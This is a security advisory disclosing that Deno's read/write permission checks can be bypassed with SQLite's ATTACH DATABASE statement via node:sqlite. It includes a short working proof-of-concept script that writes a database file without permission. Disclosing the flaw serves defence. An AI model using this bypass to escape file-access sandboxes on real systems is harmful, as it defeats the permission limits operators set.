GHSA-8vxj-4cph-c596
Deno has --allow-read / --allow-write permission bypass in `node:sqlite`
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
It is possible to bypass Deno's read/write permission checks by using `ATTACH DATABASE` statement.
## PoC
```js
// poc.js
import { DatabaseSync } from "node:sqlite"
const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");
db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
```
```
$ deno poc.js
```
References
External links from the advisory. They lead to third-party sites.